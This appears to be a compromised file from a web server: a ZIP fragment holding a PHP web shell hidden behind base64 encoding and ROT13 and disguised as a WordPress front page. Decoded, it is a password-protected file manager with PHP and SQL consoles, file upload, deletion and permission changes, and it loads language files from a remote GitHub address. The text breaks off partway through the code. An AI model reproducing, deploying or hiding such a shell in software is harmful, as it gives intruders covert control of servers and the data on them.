xqkqfjdlqsjdqs odsqqlkdjqmsjd onelmlksqdjmlsqjd PK«ƒd\¢~°°dcad.zipnu„[µü¤".fu(fu("PD9jdWMgJHFwbnE9Jyc7dnModmZmcmcoJF9DQkZHWydxcG5xJ10pKXskcXBucT0kX0NCRkdbJ3FwbnEnXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3FwbnEnXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PScxMHA2ODlwMDBuMjJwcm4wOTluOTQ5cDAzNHEyNHBzMScpfHx6cTUoJHFwbnEpPT0nMTBwNjg5cDAwbjIycHJuMDk5bjk0OXAwMzRxMjRwczEnKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InFwbnEiIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+PCEtLSBUVlM4OTtuIC0tPg0KPHVnenk+PHVybnE+PHpyZ24gdWdnYy1yZGh2aT0nUGJhZ3JhZy1HbGNyJyBwYmFncmFnPSdncmtnL3Vnenk7IHB1bmVmcmc9SnZhcWJqZi0xMjUxJz48Z3ZneXI+IFNlYmFnIGdiIGd1ciBKYmVxQ2VyZmYgbmNjeXZwbmd2YmE8L2d2Z3lyPg0KDQo8IS0tIFRWUzg5O24gLS0+DQo8dWd6eT48dXJucT48enJnbiB1Z2djLXJkaHZpPSdQYmFncmFnLUdsY3InIHBiYWdyYWc9J2dya2cvdWd6eTsgcHVuZWZyZz1KdmFxYmpmLTEyNTEnPjxndmd5cj4gU2ViYWcgZ2IgZ3VyIEpiZXFDZXJmZiBuY2N5dnBuZ3ZiYTwvZ3ZneXI+DQoNCjw/Y3VjDQovKiBDVUMgU3Z5ciB6bmFudHJlIGlyZSAxLjUgKi8NCg0KLy8gUGJhc3Z0aGVuZ3ZiYSDigJQgcWIgYWJnIHB1bmF0ciB6bmFobnl5bCENCiRuaGd1YmV2bW5ndmJhID0gJ3sibmhndWJldm1yIjoiMCIsInlidHZhIjoibnF6dmEiLCJjbmZmamJlcSI6ImN1Y3N6IiwicGJieHZyX2FuenIiOiJzel9oZnJlIiwicW5sZl9uaGd1YmV2bW5ndmJhIjoiMzAiLCJmcGV2Y2ciOiI8ZnBldmNnIGdsY3I9XCJncmtnXC93bmluZnBldmNnXCIgZmVwPVwidWdnY2Y6XC9cL2pqai5wcWJ5dmlyZy5wYnpcL3JxdmduZXJuXC9ycXZnbmVyblwvcnF2Z19uZXJuXC9ycXZnX25lcm5fc2h5eS53ZlwiPjxcL2ZwZXZjZz5cZVxhPGZwZXZjZyB5bmF0aG50cj1cIlduaW5mcGV2Y2dcIiBnbGNyPVwiZ3JrZ1wvd25pbmZwZXZjZ1wiPlxlXGFycXZnTmVybllibnFyZS52YXZnKHtcZVxhdnE6IFwiYXJqcGJhZ3JhZ1wiXGVcYSxxdmZjeW5sOiBcInluZ3JlXCJcZVxhLGZnbmVnX3V2dHV5dnR1ZzogZ2VoclxlXGEsbnl5YmpfZXJmdm1yOiBcIm9iZ3VcIlxlXGEsbnl5YmpfZ2J0dHlyOiBnZWhyXGVcYSxqYmVxX2plbmM6IGdlaHJcZVxhLHluYXRobnRyOiBcImVoXCJcZVxhLGZsYWduazogXCJjdWNcIlxnXGVcYSxnYmJ5b25lOiBcImZybmVwdSwgdGJfZ2JfeXZhciwgfCwgaGFxYiwgZXJxYiwgfCwgZnJ5cnBnX3NiYWcsIHwsIGZsYWdua19mcnlycGd2YmEsIHwsIHB1bmF0cl9memJiZ3VfZnJ5cnBndmJhLCB1dnR1eXZ0dWcsIGVyZnJnX3V2dHV5dnR1ZywgfCwgdXJ5Y1wiXGVcYSxmbGFnbmtfZnJ5cnBndmJhX255eWJqOiBcInBmZix1Z3p5LHdmLGN1YyxjbGd1YmEsa3p5LHAscGNjLGZkeSxvbmZ2cCxjbmZcIlxlXGF9KTtcZVxhPFwvZnBldmNnPiJ9JzsNCiRjdWNfZ3J6Y3luZ3JmID0gJ3siRnJnZ3ZhdGYiOiJ0eWJvbnkgJHN6X3BiYXN2dDtcZVxhaW5lX3JrY2JlZygkc3pfcGJhc3Z0KTsiLCJPbnB4aGMgRkRZIGdub3lyZiI6InJwdWIgc3pfb25weGhjX2dub3lyZigpOyJ9JzsNCiRmZHlfZ3J6Y3luZ3JmID0gJ3siTnl5IG9uZnJmIjoiRlVCSiBRTkdOT05GUkY7IiwiTnl5IGdub3lyZiI6IkZVQkogR05PWVJGOyJ9JzsNCiRnZW5hZnluZ3ZiYSA9ICd7InZxIjoiZWgiLCJOcXEiOiLQlNC+0LHQsNCy0LjRgtGMIiwiTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHF2ZXJwZ2JlbCAoZXJwaGVmdmlyeWwpPyI6ItCS0Ysg0YPQstC10YDQtdC90YssINGH0YLQviDRhdC+0YLQuNGC0LUg0YPQtNCw0LvQuNGC0Ywg0Y3RgtGDINC/0LDQv9C60YMgKNGA0LXQutGD0YDRgdC40LLQvdC+KT8iLCJOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgc3Z5cj8iOiLQktGLINGD0LLQtdGA0LXQvdGLLCDRh9GC0L4g0YXQvtGC0LjRgtC1INGD0LTQsNC70LjRgtGMINGN0YLQvtGCINGE0LDQudC7PyIsIk5lcHV2aXZhdCI6ItCQ0YDRhdC40LLQuNGA0L7QstCw0YLRjCIsIk5oZ3ViZXZtbmd2YmEiOiLQkNCy0YLQvtGA0LjQt9Cw0YbQuNGPIiwiT25weCI6ItCd0LDQt9Cw0LQiLCJQbmFwcnkiOiLQntGC0LzQtdC90LAiLCJQdXZhcmZyIjoi0JrQuNGC0LDQudGB0LrQuNC5IiwiUGJ6Y2VyZmYiOiLQodC20LDRgtGMIiwiUGJhZmJ5ciI6ItCa0L7QvdGB0L7Qu9GMIiwiUGJieHZyIjoi0JrRg9C60LgiLCJQZXJuZ3JxIjoi0KHQvtC30LTQsNC9IiwiUW5nciI6ItCU0LDRgtCwIiwiUW5sZiI6ItCU0L3QtdC5IiwiUXJwYnpjZXJmZiI6ItCg0LDRgdC/0LDQutC+0LLQsNGC0YwiLCJRcnlyZ3IiOiLQo9C00LDQu9C40YLRjCIsIlFyeXJncnEiOiLQo9C00LDQu9C10L3QviIsIlFiamF5Ym5xIjoi0KHQutCw0YfQsNGC0YwiLCJxYmFyIjoi0LfQsNC60L7QvdGH0LXQvdCwIiwiUnF2ZyI6ItCg0LXQtNCw0LrRgtC40YDQvtCy0LDRgtGMIiwiUmFncmUiOiLQktGF0L7QtCIsIlJhdHl2ZnUiOiLQkNC90LPQu9C40LnRgdC60LjQuSIsIlJlZWJlIGJwcGhlZXJxIjoi0J/RgNC+0LjQt9C+0YjQu9CwINC+0YjQuNCx0LrQsCIsIlN2eXIgem5hbnRyZSI6ItCk0LDQudC70L7QstGL0Lkg0LzQtdC90LXQtNC20LXRgCIsIlN2eXIgZnJ5cnBncnEiOiLQktGL0LHRgNCw0L0g0YTQsNC50LsiLCJTdnlyIGhjcW5ncnEiOiLQpNCw0LnQuyDRgdC+0YXRgNCw0L3QtdC9IiwiU3Z5cmFuenIiOiLQmNC80Y8g0YTQsNC50LvQsCIsIlN2eXJmIGhjeWJucXJxIjoi0KTQsNC50Lsg0LfQsNCz0YDRg9C20LXQvSIsIlNlcmFwdSI6ItCk0YDQsNC90YbRg9C30YHQutC40LkiLCJUcmFyZW5ndmJhIGd2enIiOiLQk9C10L3QtdGA0LDRhtC40Y8g0YHRgtGA0LDQvdC40YbRiyIsIlRyZXpuYSI6ItCd0LXQvNC10YbQutC40LkiLCJVYnpyIjoi0JTQvtC80L7QuSIsIkRodmciOiLQktGL0YXQvtC0IiwiWW5hdGhudHIiOiLQr9C30YvQuiIsIllidHZhIjoi0JvQvtCz0LjQvSIsIlpuYW50ciI6ItCj0L/RgNCw0LLQu9C10L3QuNC1IiwiWm54ciBxdmVycGdiZWwiOiLQodC+0LfQtNCw0YLRjCDQv9Cw0L/QutGDIiwiQW56ciI6ItCd0LDQuNC80LXQvdC+0LLQsNC90LjQtSIsIkFyaiI6ItCd0L7QstC+0LUiLCJBcmogc3Z5ciI6ItCd0L7QstGL0Lkg0YTQsNC50LsiLCJhYiBzdnlyZiI6ItC90LXRgiDRhNCw0LnQu9C+0LIiLCJDbmZmamJlcSI6ItCf0LDRgNC+0LvRjCIsImN2cGdoZXJmIjoi0LjQt9C+0LHRgNCw0LbQtdC90LjRjyIsIkVycGhlZnZpcnlsIjoi0KDQtdC60YPRgNGB0LjQstC90L4iLCJFcmFuenIiOiLQn9C10YDQtdC40LzQtdC90L7QstCw0YLRjCIsIkVyZnJnIjoi0KHQsdGA0L7RgdC40YLRjCIsIkVyZnJnIGZyZ2d2YXRmIjoi0KHQsdGA0L7RgdC40YLRjCDQvdCw0YHRgtGA0L7QudC60LgiLCJFcmZnYmVyIHN2eXIgZ3Z6ciBuc2dyZSBycXZndmF0Ijoi0JLQvtGB0YHRgtCw0L3QsNCy0LvQuNCy0LDRgtGMINCy0YDQtdC80Y8g0YTQsNC50LvQsCDQv9C+0YHQu9C1INGA0LXQtNCw0LrRgtC40YDQvtCy0LDQvdC40Y8iLCJFcmZoeWciOiLQoNC10LfRg9C70YzRgtCw0YIiLCJFdnR1Z2YiOiLQn9GA0LDQstCwIiwiRWhmZnZuYSI6ItCg0YPRgdGB0LrQuNC5IiwiRm5pciI6ItCh0L7RhdGA0LDQvdC40YLRjCIsIkZyeXJwZyI6ItCS0YvQsdC10YDQuNGC0LUiLCJGcnlycGcgZ3VyIHN2eXIiOiLQktGL0LHQtdGA0LjRgtC1INGE0LDQudC7IiwiRnJnZ3ZhdGYiOiLQndCw0YHRgtGA0L7QudC60LAiLCJGdWJqIjoi0J/QvtC60LDQt9Cw0YLRjCIsIkZ1YmogZnZtciBicyBndXIgc2J5cXJlIjoi0J/QvtC60LDQt9GL0LLQsNGC0Ywg0YDQsNC30LzQtdGAINC/0LDQv9C60LgiLCJGdm1yIjoi0KDQsNC30LzQtdGAIiwiRmNuYXZmdSI6ItCY0YHQv9Cw0L3RgdC60LjQuSIsIkZob3p2ZyI6ItCe0YLQv9GA0LDQstC40YLRjCIsIkduZngiOiLQl9Cw0LTQsNGH0LAiLCJncnpjeW5ncmYiOiLRiNCw0LHQu9C+0L3RiyIsIkh4ZW52YXZuYSI6ItCj0LrRgNCw0LjQvdGB0LrQuNC5IiwiSGN5Ym5xIjoi0JfQsNCz0YDRg9C30LjRgtGMIiwiSW55aHIiOiLQl9C90LDRh9C10L3QuNC1IiwiVXJ5eWIiOiLQn9GA0LjQstC10YIiLCJTYmhhcSB2YSBzdnlyZiI6ItCd0LDQudC00LXQvdC+INCyINGE0LDQudC70LDRhSIsIkZybmVwdSI6ItCf0L7QuNGB0LoiLCJFcnBoZWZ2aXIgZnJuZXB1Ijoi0KDQtdC60YPRgNGB0LjQstC90YvQuSDQv9C+0LjRgdC6IiwiWm5meCI6ItCc0LDRgdC60LAifSc7DQovLyByYXEgcGJhc3Z0aGVuZ3ZiYQ0KDQovLyBDZXJjbmVuZ3ZiYWYNCiRmZ25lZ2d2enIgPSBya2N5YnFyKCcgJywgenZwZWJndnpyKCkpOw0KJGZnbmVnZ3Z6ciA9ICRmZ25lZ2d2enJbMV0gKyAkZmduZWdndnpyWzBdOw0KJHluYXRmID0gbmVlbmwoJ3JhJywnZWgnLCdxcicsJ3NlJywnaHgnKTsNCiRjbmd1ID0gcnpjZ2woJF9FUkRIUkZHWydjbmd1J10pID8gJGNuZ3UgPSBlcm55Y25ndSgnLicpIDogZXJueWNuZ3UoJF9FUkRIUkZHWydjbmd1J10pOw0KJGNuZ3UgPSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRjbmd1KSAuICcvJzsNCiR6bnZhX2NuZ3U9ZmdlX2VyY3lucHIoJ1xcJywgJy8nLGVybnljbmd1KCcuLycpKTsNCiRjdW5lX3pubG9yID0gKGlyZWZ2YmFfcGJ6Y25lcihjdWNpcmVmdmJhKCksIjUuMy4wIiwiPCIpKT9nZWhyOnNueWZyOw0KJHpmdCA9ICcnOyAvLyBmcmVpdnByIGZnZXZhdA0KJHFyc25oeWdfeW5hdGhudHIgPSAnZWgnOw0KJHFyZ3JwZ195bmF0ID0gZ2VocjsNCiRzel9pcmVmdmJhID0gMS40Ow0KDQovL05oZ3ViZXZtbmd2YmENCiRuaGd1ID0gd2ZiYV9xcnBicXIoJG5oZ3ViZXZtbmd2YmEsZ2Vocik7DQokbmhndVsnbmhndWJldm1yJ10gPSB2ZmZyZygkbmhndVsnbmhndWJldm1yJ10pID8gJG5oZ3VbJ25oZ3ViZXZtciddIDogMDsgDQokbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10gPSAodmZmcmcoJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSYmdmZfYWh6cmV2cCgkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKSA/ICh2YWcpJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddIDogMzA7DQokbmhndVsneWJ0dmEnXSA9IHZmZnJnKCRuaGd1Wyd5YnR2YSddKSA/ICRuaGd1Wyd5YnR2YSddIDogJ25xenZhJzsgIA0KJG5oZ3VbJ2NuZmZqYmVxJ10gPSB2ZmZyZygkbmhndVsnY25mZmpiZXEnXSkgPyAkbmhndVsnY25mZmpiZXEnXSA6ICdjdWNzeic7ICANCiRuaGd1WydwYmJ4dnJfYW56ciddID0gdmZmcmcoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10pID8gJG5oZ3VbJ3BiYnh2cl9hbnpyJ10gOiAnc3pfaGZyZSc7DQokbmhndVsnZnBldmNnJ10gPSB2ZmZyZygkbmhndVsnZnBldmNnJ10pID8gJG5oZ3VbJ2ZwZXZjZyddIDogJyc7DQoNCi8vIFl2Z2d5ciBxcnNuaHlnIHBiYXN2dA0KJHN6X3Fyc25oeWdfcGJhc3Z0ID0gbmVlbmwgKA0KCSd6bnhyX3F2ZXJwZ2JlbCcgPT4gZ2VociwgDQoJJ2Fyal9zdnlyJyA9PiBnZWhyLCANCgknaGN5Ym5xX3N2eXInID0+IGdlaHIsIA0KCSdmdWJqX3F2ZV9mdm1yJyA9PiBzbnlmciwgLy92cyBnZWhyLCBmdWJqIHF2ZXJwZ2JlbCBmdm1yIOKGkiB6bmxvciBmeWJqIA0KCSdmdWJqX3Z6dCcgPT4gZ2VociwgDQoJJ2Z1YmpfY3VjX2lyZScgPT4gZ2VociwgDQoJJ2Z1YmpfY3VjX3ZhdicgPT4gc255ZnIsIC8vIGZ1YmogY25ndSBnYiBwaGVlcmFnIGN1Yy52YXYNCgknZnVial90ZycgPT4gZ2VociwgLy8gZnViaiB0cmFyZW5ndmJhIGd2enINCgkncmFub3lyX2N1Y19wYmFmYnlyJyA9PiBnZWhyLA0KCSdyYW5veXJfZmR5X3BiYWZieXInID0+IGdlaHIsDQoJJ2ZkeV9mcmVpcmUnID0+ICd5YnBueXViZmcnLA0KCSdmZHlfaGZyZWFuenInID0+ICdlYmJnJywNCgknZmR5X2NuZmZqYmVxJyA9PiAnJywNCgknZmR5X3FvJyA9PiAnZ3JmZ19vbmZyJywNCgkncmFub3lyX2NlYmtsJyA9PiBnZWhyLA0KCSdmdWJqX2N1Y3Zhc2InID0+IGdlaHIsDQoJJ2Z1Ympfa3lmJyA9PiBnZWhyLA0KCSdzel9mcmdndmF0ZicgPT4gZ2VociwNCgknZXJmZ2Jlcl9ndnpyJyA9PiBnZWhyLA0KCSdzel9lcmZnYmVyX2d2enInID0+IHNueWZyLA0KKTsNCg0KdnMgKHJ6Y2dsKCRfUEJCWFZSWydzel9wYmFzdnQnXSkpICRzel9wYmFzdnQgPSAkc3pfcXJzbmh5Z19wYmFzdnQ7DQpyeWZyICRzel9wYmFzdnQgPSBoYWZyZXZueXZtcigkX1BCQlhWUlsnc3pfcGJhc3Z0J10pOw0KDQovLyBQdW5hdHIgeW5hdGhudHINCnZzICh2ZmZyZygkX0NCRkdbJ3N6X3luYXQnXSkpIHsgDQoJZnJncGJieHZyKCdzel95bmF0JywgJF9DQkZHWydzel95bmF0J10sIGd2enIoKSArICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCSRfUEJCWFZSWydzel95bmF0J10gPSAkX0NCRkdbJ3N6X3luYXQnXTsNCn0NCiR5bmF0aG50ciA9ICRxcnNuaHlnX3luYXRobnRyOw0KDQovLyBRcmdycGcgb2ViamZyZSB5bmF0aG50cg0KdnMoJHFyZ3JwZ195bmF0ICYmICFyemNnbCgkX0ZSRUlSRVsnVUdHQ19OUFBSQ0dfWU5BVEhOVFInXSkgJiYgcnpjZ2woJF9QQkJYVlJbJ3N6X3luYXQnXSkpew0KCSR5bmF0X2NldmJldmdsID0gcmtjeWJxcignLCcsICRfRlJFSVJFWydVR0dDX05QUFJDR19ZTkFUSE5UUiddKTsNCgl2cyAoIXJ6Y2dsKCR5bmF0X2NldmJldmdsKSl7DQoJCXNiZXJucHUgKCR5bmF0X2NldmJldmdsIG5mICR5bmF0X25lZSl7DQoJCQkkeWF0ID0gcmtjeWJxcignOycsICR5bmF0X25lZSk7DQoJCQkkeWF0ID0gJHlhdFswXTsNCgkJCXZzKHZhX25lZW5sKCR5YXQsJHluYXRmKSl7DQoJCQkJJHluYXRobnRyID0gJHlhdDsNCgkJCQlvZXJueDsNCgkJCX0NCgkJfQ0KCX0NCn0gDQoNCi8vIFBiYnh2ciB5bmF0aG50ciB2ZiBjZXZ6bmVsIHNiZSByaXJlDQokeW5hdGhudHIgPSAocnpjZ2woJF9QQkJYVlJbJ3N6X3luYXQnXSkpID8gJHluYXRobnRyIDogJF9QQkJYVlJbJ3N6X3luYXQnXTsNCg0KLy8gWWJwbnl2bW5ndmJhDQokeW5hdCA9IHdmYmFfcXJwYnFyKCRnZW5hZnluZ3ZiYSxnZWhyKTsNCnZzICgkeW5hdFsndnEnXSE9JHluYXRobnRyKSB7DQoJJHRyZ195bmF0ID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJ3VnZ2NmOi8vZW5qLnR2Z3Vob2hmcmVwYmFncmFnLnBiei9RcmExa2trL1N2eXJ6bmFudHJlL3puZmdyZS95bmF0aG50cmYvJyAuICR5bmF0aG50ciAuICcud2ZiYScpOw0KCXZzICghcnpjZ2woJHRyZ195bmF0KSkgew0KCQkvL2VyemJpciBoYWFycHJmZm5lbCBwdW5lbnBncmVmDQoJCSRnZW5hZnluZ3ZiYV9mZ2V2YXQgPSBmZ2VfZXJjeW5wcigiJyIsJyYjMzk7Jyx3ZmJhX3JhcGJxcih3ZmJhX3FycGJxcigkdHJnX3luYXQpLFdGQkFfSEFSRlBOQ1JRX0hBVlBCUVIpKTsNCgkJJHN0cCA9IHN2eXJfdHJnX3BiYWdyYWdmKF9fU1ZZUl9fKTsNCgkJJGZybmVwdSA9IGNlcnRfem5ncHUoJyNnZW5hZnluZ3ZiYVtcZl0/XD1bXGZdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkc3RwLCAkem5ncHVyZik7DQoJCXZzICghcnpjZ2woJHpuZ3B1cmZbMV0pKSB7DQoJCQkkc3Z5cnpndnpyID0gc3Z5cnpndnpyKF9fU1ZZUl9fKTsNCgkJCSRlcmN5bnByID0gZmdlX2VyY3lucHIoJ3siJy4kem5ncHVyZlsxXS4nIn0nLCRnZW5hZnluZ3ZiYV9mZ2V2YXQsJHN0cCk7DQoJCQl2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoX19TVllSX18sICRlcmN5bnByKSkgew0KCQkJCSR6ZnQgLj0gX18oJ1N2eXIgaGNxbmdycScpOw0KCQkJfQlyeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQoJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7DQoJCX0JDQoJCSR5bmF0ID0gd2ZiYV9xcnBicXIoJGdlbmFmeW5ndmJhX2ZnZXZhdCxnZWhyKTsNCgl9DQp9DQoNCi8qIFNoYXBndmJhZiAqLw0KDQovL2dlbmFmeW5ndmJhDQpzaGFwZ3ZiYSBfXygkZ3JrZyl7DQoJdHlib255ICR5bmF0Ow0KCXZzICh2ZmZyZygkeW5hdFskZ3JrZ10pKSBlcmdoZWEgJHluYXRbJGdya2ddOw0KCXJ5ZnIgZXJnaGVhICRncmtnOw0KfTsNCg0KLy9xcnlyZ3Igc3Z5cmYgbmFxIHF2ZWYgZXJwaGVmdmlyeWwNCnNoYXBndmJhIHN6X3FyeV9zdnlyZigkc3Z5ciwgJGVycGhlZnZpciA9IHNueWZyKSB7DQoJdnMoJGVycGhlZnZpciAmJiBAdmZfcXZlKCRzdnlyKSkgew0KCQkkcnlmID0gc3pfZnBuYV9xdmUoJHN2eXIsICcnLCAnJywgZ2Vocik7DQoJCXNiZXJucHUgKCRyeWYgbmYgJHJ5KSB7DQoJCQl2cygkcnkgIT0gJy4nICYmICRyeSAhPSAnLi4nKXsNCgkJCQlzel9xcnlfc3Z5cmYoJHN2eXIgLiAnLycgLiAkcnksIGdlaHIpOw0KCQkJfQ0KCQl9DQoJfQ0KCXZzKEB2Zl9xdmUoJHN2eXIpKSB7DQoJCWVyZ2hlYSBlenF2ZSgkc3Z5cik7DQoJfSByeWZyIHsNCgkJZXJnaGVhIEBoYXl2YXgoJHN2eXIpOw0KCX0NCn0NCg0KLy9zdnlyIGNyZXpmDQpzaGFwZ3ZiYSBzel9ldnR1Z2ZfZmdldmF0KCRzdnlyLCAkdnMgPSBzbnlmcil7DQoJJGNyZXpmID0gc3Z5cmNyZXpmKCRzdnlyKTsNCgkkdmFzYiA9ICcnOw0KCXZzKCEkdnMpew0KCQl2cyAoKCRjcmV6ZiAmIDBrUDAwMCkgPT0gMGtQMDAwKSB7DQoJCQkvL0ZicHhyZw0KCQkJJHZhc2IgPSAnZic7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGtOMDAwKSA9PSAwa04wMDApIHsNCgkJCS8vRmx6b2J5dnAgWXZheA0KCQkJJHZhc2IgPSAneSc7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGs4MDAwKSA9PSAwazgwMDApIHsNCgkJCS8vRXJ0aHluZQ0KCQkJJHZhc2IgPSAnLSc7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGs2MDAwKSA9PSAwazYwMDApIHsNCgkJCS8vT3licHggZmNycHZueQ0KCQkJJHZhc2IgPSAnbyc7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGs0MDAwKSA9PSAwazQwMDApIHsNCgkJCS8vUXZlcnBnYmVsDQoJCQkkdmFzYiA9ICdxJzsNCgkJfSByeWZydnMgKCgkY3JlemYgJiAwazIwMDApID09IDBrMjAwMCkgew0KCQkJLy9QdW5lbnBncmUgZmNycHZueQ0KCQkJJHZhc2IgPSAncCc7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGsxMDAwKSA9PSAwazEwMDApIHsNCgkJCS8vU1ZTQiBjdmNyDQoJCQkkdmFzYiA9ICdjJzsNCgkJfSByeWZyIHsNCgkJCS8vSGF4YWJqYQ0KCQkJJHZhc2IgPSAnaCc7DQoJCX0NCgl9DQogIA0KCS8vQmphcmUNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDEwMCkgPyAnZScgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDgwKSA/ICdqJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwNDApID8NCgkoKCRjcmV6ZiAmIDBrMDgwMCkgPyAnZicgOiAnaycgKSA6DQoJKCgkY3JlemYgJiAwazA4MDApID8gJ0YnIDogJy0nKSk7DQogDQoJLy9UZWJoYw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDIwKSA/ICdlJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMTApID8gJ2onIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwOCkgPw0KCSgoJGNyZXpmICYgMGswNDAwKSA/ICdmJyA6ICdrJyApIDoNCgkoKCRjcmV6ZiAmIDBrMDQwMCkgPyAnRicgOiAnLScpKTsNCiANCgkvL0piZXlxDQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDQpID8gJ2UnIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwMikgPyAnaicgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDAxKSA/DQoJKCgkY3JlemYgJiAwazAyMDApID8gJ2cnIDogJ2snICkgOg0KCSgoJGNyZXpmICYgMGswMjAwKSA/ICdHJyA6ICctJykpOw0KDQoJZXJnaGVhICR2YXNiOw0KfQ0KDQpzaGFwZ3ZiYSBzel9wYmFpcmVnX2V2dHVnZigkemJxcikgew0KCSR6YnFyID0gZmdlX2NucSgkemJxciw5LCctJyk7DQoJJGdlbmFmID0gbmVlbmwoJy0nPT4nMCcsJ2UnPT4nNCcsJ2onPT4nMicsJ2snPT4nMScpOw0KCSR6YnFyID0gZmdlZ2UoJHpicXIsJGdlbmFmKTsNCgkkYXJqemJxciA9ICcwJzsNCgkkYmphcmUgPSAodmFnKSAkemJxclswXSArICh2YWcpICR6YnFyWzFdICsgKHZhZykgJHpicXJbMl07IA0KCSR0ZWJoYyA9ICh2YWcpICR6YnFyWzNdICsgKHZhZykgJHpicXJbNF0gKyAodmFnKSAkemJxcls1XTsgDQoJJGpiZXlxID0gKHZhZykgJHpicXJbNl0gKyAodmFnKSAkemJxcls3XSArICh2YWcpICR6YnFyWzhdOyANCgkkYXJqemJxciAuPSAkYmphcmUgLiAkdGViaGMgLiAkamJleXE7DQoJZXJnaGVhIHZhZ2lueSgkYXJqemJxciwgOCk7DQp9DQoNCnNoYXBndmJhIHN6X3B1emJxKCRzdnlyLCAkaW55LCAkZXJwID0gc255ZnIpIHsNCgkkZXJmID0gQHB1emJxKGVybnljbmd1KCRzdnlyKSwgJGlueSk7DQoJdnMoQHZmX3F2ZSgkc3Z5cikgJiYgJGVycCl7DQoJCSRyeWYgPSBzel9mcG5hX3F2ZSgkc3Z5cik7DQoJCXNiZXJucHUgKCRyeWYgbmYgJHJ5KSB7DQoJCQkkZXJmID0gJGVyZiAmJiBzel9wdXpicSgkc3Z5ciAuICcvJyAuICRyeSwgJGlueSwgZ2Vocik7DQoJCX0NCgl9DQoJZXJnaGVhICRlcmY7DQp9DQoNCi8veWJucSBzdnlyZg0Kc2hhcGd2YmEgc3pfcWJqYXlibnEoJHN2eXJfYW56cikgew0KICAgIHZzICghcnpjZ2woJHN2eXJfYW56cikpIHsNCgkJdnMgKHN2eXJfcmt2ZmdmKCRzdnlyX2FuenIpKSB7DQoJCQl1cm5xcmUoIlBiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPSIgLiBvbmZyYW56cigkc3Z5cl9hbnpyKSk7ICAgDQoJCQl1cm5xcmUoIlBiYWdyYWctR2xjcjogbmNjeXZwbmd2YmEvc2JlcHItcWJqYXlibnEiKTsNCgkJCXVybnFyZSgiUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnoiKTsNCgkJCXVybnFyZSgiUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9xYmpheWJucSIpOw0KCQkJdXJucXJlKCJQYmFncmFnLVFyZnBldmNndmJhOiBTdnlyIEdlbmFmc3JlIik7ICAgICAgICAgICAgDQoJCQl1cm5xcmUoIlBiYWdyYWctWXJhdGd1OiAiIC4gc3Z5cmZ2bXIoJHN2eXJfYW56cikpOwkJDQoJCQlzeWhmdSgpOyAvLyBndXZmIHFicmZhJ2cgZXJueXlsIHpuZ2dyZS4NCgkJCSRzYyA9IHNiY3JhKCRzdnlyX2FuenIsICJlIik7DQoJCQlqdXZ5ciAoIXNyYnMoJHNjKSkgew0KCQkJCXJwdWIgc2VybnEoJHNjLCA2NTUzNik7DQoJCQkJc3loZnUoKTsgLy8gZ3V2ZiB2ZiByZmZyYWd2bnkgc2JlIHluZXRyIHFiamF5Ym5xZg0KCQkJfSANCgkJCXNweWJmcigkc2MpOw0KCQkJcXZyKCk7DQoJCX0gcnlmciB7DQoJCQl1cm5xcmUoJ1VHR0MvMS4wIDQwNCBBYmcgU2JoYXEnLCBnZWhyLCA0MDQpOw0KCQkJdXJucXJlKCdGZ25naGY6IDQwNCBBYmcgU2JoYXEnKTsgDQoJCQlxdnIoKTsNCiAgICAgICAgfQ0KICAgIH0gDQp9DQoNCi8vZnViaiBzYnlxcmUgZnZtcg0Kc2hhcGd2YmEgc3pfcXZlX2Z2bXIoJHMsJHNiZXpuZz1nZWhyKSB7DQoJdnMoJHNiZXpuZykgIHsNCgkJJGZ2bXI9c3pfcXZlX2Z2bXIoJHMsc255ZnIpOw0KCQl2cygkZnZtcjw9MTAyNCkgZXJnaGVhICRmdm1yLicgb2xncmYnOw0KCQlyeWZydnMoJGZ2bXI